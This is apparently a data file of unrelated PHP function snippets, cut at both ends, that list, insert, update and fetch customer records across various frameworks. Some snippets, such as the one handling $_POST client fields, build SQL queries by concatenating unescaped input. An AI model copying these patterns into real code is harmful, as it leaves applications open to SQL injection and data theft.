$this->captura('telefono','varchar');\n $this->captura('nombre_incidente','varchar');\n $this->captura('sub_incidente','varchar');\n\n //Ejecuta la instruccion\n $this->armarConsulta();\n\t\t//var_dump($this->respuesta); exit;\n $this->ejecutarConsulta();\n //var_dump($this->respuesta); exit;\n //Devuelve la respuesta\n return $this->respuesta;\n\n }", "public function consultarCliente(){\n //$conexao = $c->conexao();\n\n $sql = \"SELECT * FROM tbclientes order by nome; \";\n $sql = $this->conexao->query($sql);\n\n $dados = array();\n\n while ($row = $sql->fetch_array()) { \n $dado = array();\n $dado['reg'] = $row[\"reg\"];\n $dado['nome'] = $row[\"nome\"];\n $dado['nomeFantasia'] = $row[\"nomefantasia\"];\n $dado['rg'] = $row[\"rg\"];\n $dado['cpf'] = $row[\"cpf\"];\n $dado['cnpj'] = $row[\"cnpj\"];\n $dado['telefone'] = $row[\"telefone\"];\n $dado['dt_nascimento'] = $row[\"dt_nascimento\"];\n $dado['habilitado'] = $row[\"habilitado\"];\n $dados[] = $dado;\n } \n\n return $dados; \n \n }", "public function consultarClientes() {\n\n $conexion = new conexion();\n $sql = \"select nit, nombre from cliente_general where estado = 'A' group by nit,nombre order by nombre\";\n $resulConsulta = $conexion->consultar($sql);\n\n return $resulConsulta;\n }", "public function getCodigoClient()\n {\n return $this->codigo_client;\n }", "static public function ctrMostrarIdCliente($valor){\n\n $respuesta = ModeloClientes::mdlMostrarIdCliente($valor);\n\t\treturn $respuesta;\n }", "public function recuperaToken()\n {\n // por eso para propositos de prueba solo se usara el primer cliente\n $this->cliente=Cliente::find(1)->token;\n }", "function listadoClientes(){\n\t\t\t\n\t\t\t//SQL\n\t\t\t$query = \"SELECT * FROM users ORDER BY rol,id DESC;\";\n\t\t\t$rst = $this->db->enviarQuery($query,'R');\n\t\t\t\n\t\t\tif(@$rst[0]['id'] != \"\"){\n\t\t\t\treturn $rst;\n\t\t\t}else{\n\t\t\t\treturn array(\"ErrorStatus\"=>true);\n\t\t\t}\n\t\t}", "public function TresorieClient() {\n \n $em = $this->getDoctrine()->getManager();\n $entityClient = $em->getRepository('RuffeCardUserGestionBundle:Client')->findClientNoPaiment();\n return $this->render ( \"RuffeCardTresorieBundle:Default:clientPaiement.html.twig\", array ('Client'=>$entityClient));\n \n }", "function obtener_inf_cliente(){\n $sql=\"select c.id_cliente,c.razon_social \n from cliente c\n \";\n \n $consulta =$this->db->query($sql);\n return $consulta;\n }", "abstract public function getClientInformation();", "function cocinar_registro_cliente() {\n\t\tglobal $bd;\n\t\tglobal $x_idcliente;\n\t\tglobal $x_idpedido;\n\n\t\t\n\t\t// $x_arr_cliente = $_POST['p_cliente'];\n\t\t// $datos_cliente = $x_arr_cliente['cliente'];\n\t\t$datos_cliente = $_POST['p_cliente'];\n\n\t\t$nomclie=$datos_cliente['nombres'];\n\t\t$idclie=$datos_cliente['idcliente'];\n\t\t$num_doc=$datos_cliente['num_doc'];\n\t\t$direccion=$datos_cliente['direccion'];\n\t\t$f_nac=$datos_cliente['f_nac'];\n\t\t// $idpedidos=$x_arr_cliente['i'] == '' ? $x_idpedido : $x_arr_cliente['i'];\n\n\t\tif($idclie==''){\n\t\t\tif($nomclie==''){//publico general\n\t\t\t\t$idclie=0;\n\t\t\t}else{\n\t\t\t\t$sql=\"insert into cliente (idorg,nombres,direccion,ruc,f_nac)values(\".$_SESSION['ido'].\",'\".$nomclie.\"','\".$direccion.\"','\".$num_doc.\"','\".$f_nac.\"')\";\n\t\t\t\t$idclie=$bd->xConsulta_UltimoId($sql);\n\t\t\t}\n\t\t} else {\n\t\t\t// update cliente\n\t\t\t$sql=\"update cliente set nombres='\".$nomclie.\"',ruc='\".$num_doc.\"',direccion='\".$direccion.\"' where idcliente = \".$idclie;\n\t\t\t$bd->xConsulta_NoReturn($sql);\n\t\t}\n\n\t\t// $bd->xConsulta_NoReturn($sql);\n\t\t// $sql=\"update pedido set idcliente=\".$idclie.\" where idpedido in (\".$idpedidos.\")\";\n\t\t\n\t\t$x_idcliente = $idclie;\n\t\t$x_idpedido = $idpedidos;\n\n\t\techo $idclie;\n\n\t\t// $rptclie = json_encode(array('idcliente' => $idclie));\n\t\t// print $rptclie.'|';\n\n\t\t// 031218 // cambio: ahora se graba primero el cliente se devuelve el idcliete, \n\n\t\t// $GLOBALS['x_idcliente'] = $idclie;\n\t\t// return $x_idcliente;\n\t\t// echo $idclie;\n\t}", "function obtenerClientes(){\n $query = $this->connect()->query('SELECT * FROM cliente');\n return $query;\n }", "public function getAllClients(){\n\t\t$sql = \"SELECT * FROM cliente;\";\n\t\treturn $this->Model->getData($sql);\n\t}", "public function buscarclientecuit($cliente = null){\n\n if(sizeof($this->request->getData()) > 0){\n\n $data = $this->request->getData();\n\n if(ctype_digit ($data['id'])){\n\n $auth = $this->request->session()->read('Auth');\n\n try {\n\n $conditions[] = array('Clientes.cuit = ' => $data['id']);\n \n $c = $this->Clientes->find(\n 'all', \n array('recursive' => -1,\n 'conditions' => $conditions)\n )->first();\n\n if (!is_null($c)){\n\n $cliente = $c->toArray();\n\n return $this->redirect(['action' => 'view', $cliente['id']]);\n \n }else{\n\n $this->Flash->error(__('No existe un Cliente con ese CUIT/DNI.'));\n }\n\n } catch (RecordNotFoundException $e) {\n\n $this->Flash->error(__('No existe un Cliente con ese CUIT/DNI.'));\n }\n\n }else{\n\n $this->Flash->error(__('Solo ingresar Numeros sin \".\" ni \"-\".'));\n }\n }\n\n $this->set('cliente', $cliente);\n }", "function read_client(){\n $client = array();\n \n $sql = \"SELECT * FROM client ORDER BY id_client ASC\";\n \n $res = $this->pdo->query($sql);\n\n if(!$res){\n $this->message = \"impossible d'afficher les clients\";\n return false;\n }\n while($resultats = $res->fetch(PDO::FETCH_OBJ)){\n \t$client[$resultats->id_client] = $resultats;\n\t\t}\n return $client;\n }", "function insertarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_INS';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('genero','genero','varchar');\n\t\t$this->setParametro('ci','ci','varchar');\n\t\t$this->setParametro('email','email','varchar');\n\t\t$this->setParametro('email2','email2','varchar');\n\t\t$this->setParametro('direccion','direccion','varchar');\n\t\t$this->setParametro('celular','celular','varchar');\n\t\t$this->setParametro('nombre','nombre','varchar');\n\t\t$this->setParametro('lugar_expedicion','lugar_expedicion','varchar');\n\t\t$this->setParametro('apellido_paterno','apellido_paterno','varchar');\n\t\t$this->setParametro('telefono','telefono','varchar');\n\t\t$this->setParametro('ciudad_residencia','ciudad_residencia','varchar');\n\t\t$this->setParametro('id_pais_residencia','id_pais_residencia','int4');\n\t\t$this->setParametro('nacionalidad','nacionalidad','varchar');\n\t\t$this->setParametro('barrio_zona','barrio_zona','varchar');\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\n\t\t$this->setParametro('apellido_materno','apellido_materno','varchar');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function CarregaClientes() {\n\t\t$clientes = new Model_Wpr_Clientes_ClientesIntegracao ();\n\t\t\n\t\treturn $clientes->carregaClientes ();\n\t}", "public function getAllClientsInfo() {\n //Nom de famille :\n //Prénom :\n //Date de naissance :\n //Carte de fidélité :\n //Si oui, N° de carte:\n $queryResult = $this->database->query('SELECT lastName, firstName, birthDate, card, cardNumber, \n CASE card\n\tWHEN 1 THEN \"Oui\"\n\tWHEN 0 THEN \"Non\"\n END AS \"etat\"\n FROM clients'); \n $allClientsInfoData = $queryResult->fetchAll(PDO::FETCH_OBJ);\n return $allClientsInfoData;\n }", "function criaModeloDeCliente()\n{\n $cliente = array(\n 'nome' => '',\n 'nome_usuario' => '',\n 'cnpj' => '',\n 'conta_contrato' => '',\n 'razao_social' => '',\n 'produto' => '',\n 'modulo' => '',\n 'duvida' => '',\n 'departamento' => '0',\n 'telefone' => ''\n );\n\n return $cliente;\n}", "public function listarClientes(){\n $this->bd->getConeccion();\n $sql = \"SELECT * FROM CLIENTE\";\n $registros = $this->bd->executeQueryReturnData($sql); \n $this->bd->cerrarConeccion(); \n $clientes = array(); \n \n foreach ($registros as $cliente) {\n $cliente = new Cliente($cliente['id'],$cliente['dni'],$cliente['Nombre'],$cliente['Apellido'],$cliente['Correo'],$cliente['Telefono']);\n array_push($clientes, $cliente);\n }\n \n return $clientes; \n }", "public function List_client_Physique(){\n $req = self::list(\"SELECT * FROM client_physique\");\n return $req;\n }", "public function agendaClient() {\n $response = $this->database->query('SELECT id, lastName, firstName, birthDate, CASE WHEN `card` = true THEN \\'oui\\' ELSE \\'non\\' END AS `card`, cardNumber FROM `clients`');\n $data = $response->fetchAll(PDO::FETCH_OBJ); \n return $data; //la fonction retourne data.\n }", "function afficherclient()\r\n\t{\r\n\t\t$sql=\"SElECT * From user\";\r\n\t\t$db = config::getConnexion();\r\n\t\ttry\r\n\t\t{\r\n\t\t$liste=$db->query($sql);\r\n\t\treturn $liste;\r\n\t\t}\r\n catch (Exception $e)\r\n {\r\n die('Erreur: '.$e->getMessage());\r\n }\r\n\t}", "public function getClientes()\n {\n return $this->clientes;\n }", "public function getClientes()\n {\n return $this->clientes;\n }", "public function get_clientes()\n\t{\n\t\treturn $this->db->get(\"clientes\");\n\t}", "function getNomClient($id_client) {\n global $dbHandler, $global_id_agence;\n $db = $dbHandler->openConnection();\n \n $sql = \"SELECT statut_juridique, pp_nom, pp_prenom, pm_raison_sociale, gi_nom FROM ad_cli WHERE id_client=$id_client and id_ag = $global_id_agence\";\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__, $result->getMessage());\n }\n if ($result->numrows() != 1) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__, _(\"Nombre d'occurences différent de 1 !\"));\n }\n $row = $result->fetchrow(DB_FETCHMODE_ASSOC);\n switch ($row['statut_juridique']) {\n case 1 : //PP\n $nom = $row['pp_prenom'] . \" \" . $row['pp_nom'];\n break;\n case 2 : //PM\n $nom = $row['pm_raison_sociale'];\n break;\n case 3 : //GI\n $nom = $row['gi_nom'];\n case 4 : //GS\n $nom = $row['gi_nom'];\n break;\n default : //Autre\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__, _(\"Statut juridique inconnu !\"));\n break;\n }\n $dbHandler->closeConnection(true);\n return $nom;\n}", "function redirecionaClienteParaDepartamentoTecnologia($cliente)\n{\n\n # montando URL\n $url =\n \"index.php/por/chat/startchat/(leaveamessage)/true?prefill%5Busername%5D={$cliente['razao_social']}&value_items_admin[0]={$cliente['duvida']}&value_items_admin[1]={$cliente['nome_usuario']}&value_items_admin[2]={$cliente['conta_contrato']}&value_items_admin[3]={$cliente['razao_social']}&value_items_admin[4]={$cliente['cnpj']}&value_items_admin[5]=0&nome_departamento=Tecnologia&codigo_ticket=0&novo_erp={$cliente['novo_erp']}&prefill%5Bphone%5D=2&value_items_admin[6]={$cliente['telefone']}&value_items_admin[7]=0\";\n\n # redirecionando cliente para o colaborador no chat teste\n echo json_encode(['url' => 'http://192.168.0.47:9999/' . $url], JSON_UNESCAPED_UNICODE);\n\n # redirecionando cliente para o colaborador no chat produção\n #echo json_encode(['url' => 'https://chat.avancoinfo.net/' . $url], JSON_UNESCAPED_UNICODE);\n\n exit;\n}", "function clientes( $cliente = null )\n{\n\tglobal $con;\n\t$sql = \"Select Id,Nombre from clientes\n\twhere `Estado_de_cliente` like '-1'\n\tor `Estado_de_cliente` like 'on' order by Nombre\";\n\t$consulta = mysql_query($sql,$con);\n\twhile(true == ($resultado = mysql_fetch_array($consulta))) {\n\t\t$seleccionado = ( $cliente == $resultado[0]) ? \"selected\" : \"\";\n\t\t$texto .= \"<option \".$seleccionado.\" value='\".$resultado[0].\"'>\"\n\t\t. $resultado[1] . \"</option>\";\n\t}\n\treturn $texto;\n}", "function modificarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_MOD';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cliente','id_cliente','int4');\n\t\t$this->setParametro('genero','genero','varchar');\n\t\t$this->setParametro('ci','ci','varchar');\n\t\t$this->setParametro('email','email','varchar');\n\t\t$this->setParametro('email2','email2','varchar');\n\t\t$this->setParametro('direccion','direccion','varchar');\n\t\t$this->setParametro('celular','celular','varchar');\n\t\t$this->setParametro('nombre','nombre','varchar');\n\t\t$this->setParametro('lugar_expedicion','lugar_expedicion','varchar');\n\t\t$this->setParametro('apellido_paterno','apellido_paterno','varchar');\n\t\t$this->setParametro('telefono','telefono','varchar');\n\t\t$this->setParametro('ciudad_residencia','ciudad_residencia','varchar');\n\t\t$this->setParametro('id_pais_residencia','id_pais_residencia','int4');\n\t\t$this->setParametro('nacionalidad','nacionalidad','varchar');\n\t\t$this->setParametro('barrio_zona','barrio_zona','varchar');\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\n\t\t$this->setParametro('apellido_materno','apellido_materno','varchar');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function listarc()\n\t{\n\t\t$sql=\"SELECT * FROM persona WHERE tipo_persona = 'Cliente';\";\n\t\treturn ejecutarConsulta($sql);\n\t}", "function consultarCliente (){\n\t\t$x = $this->pdo->prepare('SELECT * FROM cliente');\n\t\t$x->execute();\n\t\treturn $x->fetchALL(PDO::FETCH_OBJ);\n\t}", "public function cliente()\r\r\n\t{\r\r\n\t\treturn $this->has_one('Cliente');\r\r\n\t}", "private function lista_clientes()\n {\n\n $lista_clientes = Cliente::where('status', 1)\n ->orderBy('nome')\n ->get();\n\n return $lista_clientes;\n }", "public function ListarClientes()\n{\n\tself::SetNames();\n\t$sql = \" select * from clientes \";\n\tforeach ($this->dbh->query($sql) as $row)\n\t{\n\t\t$this->p[] = $row;\n\t}\n\treturn $this->p;\n\t$this->dbh=null;\n}", "public function cliente()\n {\n \treturn $this->belongsTo('App\\User', 'id_cliente');\n }", "function tipo_cliente($id_tipo_cliente=\"\"){\n\t$db = new db(DB_USER,DB_PASSWORD,DB_NAME,DB_HOST);\n\tif ($id_tipo_cliente==\"\") {\n\t\treturn \"Tutti i Clienti\";\n\t}\n\t$q=\"SELECT * FROM tipo_cliente WHERE id_tipo_cliente=$id_tipo_cliente\";\n\t$r=$db->query($q);\n\tif (!$r) {\n\t\treturn \"Dato Assente\";\n\t}else{\n\t\t$ro= mysql_fetch_array($r);\n\t\treturn $ro['nome'];\n\t}\n}", "function eliminarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cliente','id_cliente','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function obtenidcliente($rfc){\n\t$funcbase = new dbutils;\n/*** conexion a bd ***/\n $mysqli = $funcbase->conecta();\n if (is_object($mysqli)) {\n\t\t$req = \"SELECT idclientes FROM clientes WHERE rfc = '\" \n \t.$rfc.\"'\"; \n \n \t\t$idcliente = $mysqli->query($req)->fetch_object()->idclientes;\n } else {\n die (\"<h1>'No se establecio la conexion a bd'</h1>\");\n }\n\t\t\n /* liberar la serie de resultados */\n /* cerrar la conexion */\n\t mysqli_close($mysqli);\n\t\t\n\treturn $idcliente;\n}", "public function buscar_cliente1()\n\t\t{\n\t\t\t$sql =\"SELECT nom_empresa, razon_social FROM empresas\";\t\n\t\t\t$query = $this->db->query($sql);\n\t\t\treturn $query->result();\n\t\t}", "public function cliente($cliente)\n {\n $sentencia = \"SELECT clNumReporte from tsreportebocadetubo WHERE cacliente_clCliente = :cliente ORDER BY id DESC LIMIT 1\";\n try {\n $stm = $this->db->prepare($sentencia);\n $stm->bindValue(':cliente', $cliente);\n $stm->execute();\n $registros = $stm->fetchAll(PDO::FETCH_OBJ);\n\n return $registros;\n } catch (Exception $e) {\n echo \"$e->getMessage()\";\n }\n }", "function loadClienteForm(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_GET';//'\n\t\t$this->tipo_procedimiento='IME';//tipo de transaccion\n\n\t\t$this->setParametro('id_cliente','id_cliente','int4');\n\n\t\t$this->captura('v_valor','varchar');\n\t\t$this->captura('genero','varchar');\n\t\t$this->captura('ci','varchar');\n\t\t$this->captura('email','varchar');\n\t\t$this->captura('email2','varchar');\n\t\t$this->captura('direccion','varchar');\n\t\t$this->captura('celular','varchar');\n\t\t$this->captura('nombre','varchar');\n\t\t$this->captura('lugar_expedicion','varchar');\n\t\t$this->captura('apellido_paterno','varchar');\n\t\t$this->captura('telefono','varchar');\n\t\t$this->captura('ciudad_residencia','varchar');\n\t\t$this->captura('id_pais_residencia','int4');\n\t\t$this->captura('nacionalidad','varchar');\n\t\t$this->captura('barrio_zona','varchar');\n\t\t$this->captura('estado_reg','varchar');\n\t\t$this->captura('apellido_materno','varchar');\n\t\t$this->captura('id_usuario_ai','int4');\n\t\t$this->captura('fecha_reg','timestamp');\n\t\t$this->captura('usuario_ai','varchar');\n\t\t$this->captura('id_usuario_reg','int4');\n\t\t$this->captura('fecha_mod','timestamp');\n\t\t$this->captura('id_usuario_mod','int4');\n\t\t$this->captura('usr_reg','varchar');\n\t\t$this->captura('usr_mod','varchar');\n\n\t\t$this->captura('nombre_completo1','text');\n\t\t$this->captura('nombre_completo2','text');\n\t\t$this->captura('pais_residencia','varchar');\n\t\t//Definicion de la lista del resultado del query\n\t\t/*$this->captura('v_id_cliente','int4');\n\t\t$this->captura('v_genero','varchar');\n\t\t$this->captura('v_ci','varchar');\n\t\t$this->captura('v_email','varchar');\n\t\t$this->captura('v_direccion','varchar');\n\t\t$this->captura('v_celular','varchar');\n\t\t$this->captura('v_nombre','varchar');\n\t\t$this->captura('v_lugar_expedicion','varchar');\n\t\t$this->captura('v_apellido_paterno','varchar');\n\t\t$this->captura('v_telefono','varchar');\n\t\t$this->captura('v_ciudad_residencia','varchar');\n\t\t$this->captura('v_id_pais_residencia','int4');\n\t\t$this->captura('v_nacionalidad','varchar');\n\t\t$this->captura('v_barrio_zona','varchar');\n\t\t//$this->captura('estado_reg','varchar');\n\t\t$this->captura('v_apellido_materno','varchar');\n\t\t//$this->captura('id_usuario_ai','int4');\n\t\t//$this->captura('fecha_reg','timestamp');\n\t\t//$this->captura('usuario_ai','varchar');\n\t\t//$this->captura('id_usuario_reg','int4');\n\t\t//$this->captura('fecha_mod','timestamp');\n\t\t//$this->captura('id_usuario_mod','int4');\n\t\t//$this->captura('usr_reg','varchar');\n\t\t//$this->captura('usr_mod','varchar');\n\n\t\t$this->captura('v_completo','text');\n\t\t$this->captura('v_nombre_completo2','text');\n\t\t$this->captura('v_pais_residencia','varchar');*/\n\t\t//$this->captura('nombre','varchar');\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function getcontaccliente($ccliente) {\n \n $sql = \"select ccontacto, (dapepat+' '+dapemat+' '+dnombre) as 'dcontacto'\n from mcontacto \n where ccliente = '\".$ccliente.\"'\n order by dcontacto;\";\n\t\t$query = $this->db->query($sql);\n \n if ($query->num_rows() > 0) {\n\n $listas = '<option value=\"%\" selected=\"selected\">::Elegir</option>';\n \n foreach ($query->result() as $row)\n {\n $listas .= '<option value=\"'.$row->ccontacto.'\">'.$row->dcontacto.'</option>'; \n }\n return $listas;\n }{\n return false;\n }\t\n }", "function get_client($id_cliente)\n {\n $conexao = open_database_connection();\n\n $id = mysql_real_escape_string($id_cliente);\n\n $query = 'SELECT nome_cliente FROM cliente WHERE id_cliente = '.$id;\n\n $result = mysql_query($query);\n $row = mysql_fetch_assoc($result);\n\n close_database_connection($conexao);\n\n return $row;\n }", "function getSorpresa(){\r\n return $this->sorpresa;\r\n }", "public function getClient()\n {\n return $this->neo;\n }", "public function listadoPedidos(){\n $pedido=new Pedido();\n\n //Conseguimos todos los usuarios\n $allPedido=$pedido->getAll();\n print_r(json_encode($allPedido));\n //echo $allClientes\n }", "function obtenerCliente ($cedula){\n\t\t$x = $this->pdo->prepare('SELECT * FROM cliente where cedula = ?');\n\t\t$x->execute(array($cedula));\n\t\treturn $x->fetchALL(PDO::FETCH_OBJ);\n\t}", "public static function getClient($id){\r\n if(!empty($_GET['id'])){\r\n $id = $_GET['id'];\r\n }\r\n $dados = Client::select()->where('id', $id)->one();\r\n // print_r($dadosFun);exit;\r\n \r\n // transformar o resultado em objetos dos models\r\n if(count($dados) > 0){\r\n $viewClient = new Client();\r\n $viewClient->id = $dados['id'];\r\n $viewClient->email = $dados['email'];\r\n $viewClient->name = $dados['name'];\r\n $viewClient->service = $dados['service'];\r\n $viewClient->phone = $dados['phone'];\r\n $viewClient->comment = $dados['comment'];\r\n $viewClient->rg = $dados['rg'];\r\n $viewClient->cpf = $dados['cpf'];\r\n $viewClient->photo_client = $dados['photo_client'];\r\n $viewClient->extract = $dados['extract'];\r\n $viewClient->residence = $dados['residence'];\r\n $viewClient->mirror = $dados['mirror'];\r\n $viewClient->printzap = $dados['printzap'];\r\n $viewClient->id_user = $dados['id_user'];\r\n $viewClient->name_user = $dados['name_user'];\r\n\r\n return $viewClient;\r\n }\r\n }", "public function loadCliente(){ \n if(!empty($this->mod_cli->CargarCliente())){\n\t\t\t$datos=$this->mod_cli->CargarCliente();\n\t\t\t //print_r($datos);\n\t\t\trequire_once \"views/Clientes/cliente/Frm_Clientes_Datos.php\";\n\t\t}else{\n\t\t\t\t$datos=[];\n\t\t\t\trequire_once \"views/Clientes/cliente/Frm_Clientes_Datos.php\";\n\t\t\t}\n //print_r($datos); \n }", "public function getCodServico()\n {\n return $this->cod_servico;\n }", "function leerCreditos(){\n \n try{\n $stmt = $this->dbh->prepare(\"SELECT c.idcredito, t.NombreCte,c.tipoContrato, c.montoTotal, c.plazo,c.mensualidad, c.interes,\"\n . \" c.metodoPago, c.observaciones, c.status FROM tarjetas_clientes t join credito c on t.idClienteTg=c.cteId where c.status=1 or c.status=3\");\n // Especificamos el fetch mode antes de llamar a fetch()\n $stmt->execute();\n $clientes = $stmt->fetchAll(PDO::FETCH_NUM);\n } catch (PDOException $e){\n $clientes=array(\"status\"=>\"0\",\"mensaje\"=>$e->getMessage());\n }\n \n return $clientes;\n }", "public function getCliente($id_zootecnico){\n\t\t$this->db->select('c.id_cliente, c.nombre, c.ap_paterno, c.ap_materno');\n\t\t$this->db->from('asignacion_cliente_z cz, zootecnico z, cliente c');\n\t\t$this->db->where('cz.id_cliente = c.id_cliente');\n\t\t$this->db->where('cz.id_zootecnico = z.id_zootecnico');\n\t\t$this->db->where('z.id_zootecnico', $id_zootecnico);\n\t\t$s = $this->db->get();\n\t\treturn $s->result();\n\t}", "function opzioni_cliente($id_tipo_cliente=\"\", $id_cli=\"\"){\n\t$db = new db(DB_USER,DB_PASSWORD,DB_NAME,DB_HOST);\n\t$visualizza =\"<a href=\\\"cliente_show.php?id_cli=\".$id_cli.\"\\\"><img src=\\\"images/cliente_dati.gif\\\" title=\\\"Visualizza Dati Cliente\\\"/></a>\";\n\t$opzione =\"<a href=\\\"popup_immobili.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_popup_immobili.gif\\\" title=\\\"Mostra Immobile/i del cliente\\\"/></a>\";\n\t$str=\"\";\n\n\tswitch ($id_tipo_cliente) {\n\t\t\n\t\tcase 1: // acquirente\n\t\t\t//$opzione =\"<a href=\\\"popup_richieste.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_popup_richieste.gif\\\" title=\\\"Mostra Richiesta/e del cliente\\\"/></a>\";\n\t\t//\t$richieste = \"<a href=\\\"immobile_cerca.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_richieste.gif\\\" title=\\\"Mostra Immobili Affini alle richieste del cliente\\\"/></a>\";\n\t\t\t$str.= $visualizza;\n\t\t//\t$str.= $richieste;\n\t\t//\t$str.=$opzione;\n\t\t\tbreak;\n\t\tcase 2: // venditore\n\t\t\t//$richieste = \"<a href=\\\"richieste_cerca.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_vendo.gif\\\" title=\\\"Mostra Richieste Correlate all'immobile del cliente\\\"/></a>\";\n\t\t\t$str.= $visualizza;\n\t\t//\t$str.= $richieste;\n\t\t//\t$str.=$opzione;\n\t\t\tbreak;\n\t\tcase 3: // affittuario\n\t\t\t$richieste = \"<a href=\\\"affittuario_cerca.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_affittuario.gif\\\" title=\\\"Mostra persone disposte ad acquistare l'immobile del cliente\\\"/></a>\";\n\t\t\t$str.= $visualizza;\n\t\t//\t$str.= $richieste;\n\t\t\t//$str.=$opzione;\n\t\t\tbreak;\n\t\tcase 4: // cerca affitto\n\t\t//\t$opzione =\"<a href=\\\"popup_affitti.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_popup_affitti.gif\\\" title=\\\"Mostra Richieste di affitti del cliente\\\"/></a>\";\n\t\t//\t$richieste = \"<a href=\\\"affitti_cerca.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_cerco_affitti.gif\\\" title=\\\"Mostra gli immobili in affitto adatti alle richieste del cliente\\\"/></a>\";\n\t\t\t$str.= $visualizza;\n\t\t//\t$str.= $richieste;\n\t\t//\t$str.=$opzione;\n\t\t\tbreak;\n\t\n\t\tdefault:\n\t\t\t$str.= $visualizza;\n\t\t\t\n\t\t\tbreak;\n\t}\n\treturn $str;\n}", "public function cliente()\n {\n return $this->belongsTo('App\\Models\\ClienteModel', 'id_cliente');\n }", "public function getIdClient()\n {\n return $this->idClient;\n }", "public function getIdClient()\n {\n return $this->idClient;\n }", "public function getClient(){ return UserData::getById($this->client_id); }", "public function primerCliente($id_usuario,$nombreE,$rfcE,$cpE,$correo1E,$observacionesE,$fijo,$logo){\r\n\t\t$sql = \"INSERT INTO tbl_clientesclientes (id_usuario,logo,nombreE,rfcE,cpE,correo1E,observacionesE,estatus,fijo)VALUES('$id_usuario','$logo','$nombreE','$rfcE','$cpE','$correo1E','$observacionesE','1','$fijo')\";\r\n return ejecutarConsulta($sql); \t\r\n\t}", "function afficherclients(){\r\n\t\t$sql=\"SElECT * From clients\";\r\n\t\t$db = config::getConnexion();\r\n\t\ttry{\r\n\t\t$liste=$db->query($sql);\r\n\t\treturn $liste;\r\n\t\t}\r\n catch (Exception $e){\r\n die('Erreur: '.$e->getMessage());\r\n }\t\r\n\t}", "public function cliente()\n\t{\n\t\treturn $this->belongsTo(Cliente::class);\n\t}", "function scheda_cliente($id_cli=\"\"){\n\t$db = new db(DB_USER,DB_PASSWORD,DB_NAME,DB_HOST);\n\t$str=\"\";\n\tif (isset($id_cli)) {\n\t\t$q=\"SELECT * FROM cliente WHERE id_cli=$id_cli\";\n\t\t$r=$db->query($q);\n\t\t$ro=mysql_fetch_array($r);\n\t\t\n\t\t$str.= \"<div class=\\\"clienti\\\">\";\n\t\t$str.= \"<TABLE id=\\\"clienti1\\\">\\n\";\n\t\t$str.=\"<tr>\\n\";\n\t\t$str.=\"<td colspan=\\\"3\\\" class=\\\"clienti_header_top\\\">\\n\";\n\t\t$str.=\"Dati cliente \".nominativo_stampa($ro['id_cli']);\n\t\t$str.=\"</td>\\n\";\n\t\t$str.=\"</tr>\\n\";\n\t\t$str.= \"<TR>\\n\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\\n\";\n\t\t$str.= \"Nominativo\\n\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\\n\";\n\t\t$str.=\"<a href=\\\"cliente_show.php?id_cli=\";\n\t\t$str.= $ro['id_cli'];\n\t\t$str.=\"\\\">\";\n\t\t$str.= nominativo_stampa($ro['id_cli']);\n\t\t$str.=\"</a>\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \"</TR>\\n\";\n\t\t$str.= \"<TR>\\n\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\\n\";\n\t\t$str.= \"Tipo di Cliente\\n\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\\n\";\n\t\t$str.= tipo_cliente($ro['id_tipo_cliente']);\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\\n\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\\n\";\n\t\t$str.= \"E-Mail\\n\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\\n\";\n\t\t$str.= $ro['email'];\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \"</TR>\\n\";\n\t\t$str.= \"<TR>\\n\";\n\t\t$str.= \"<TD 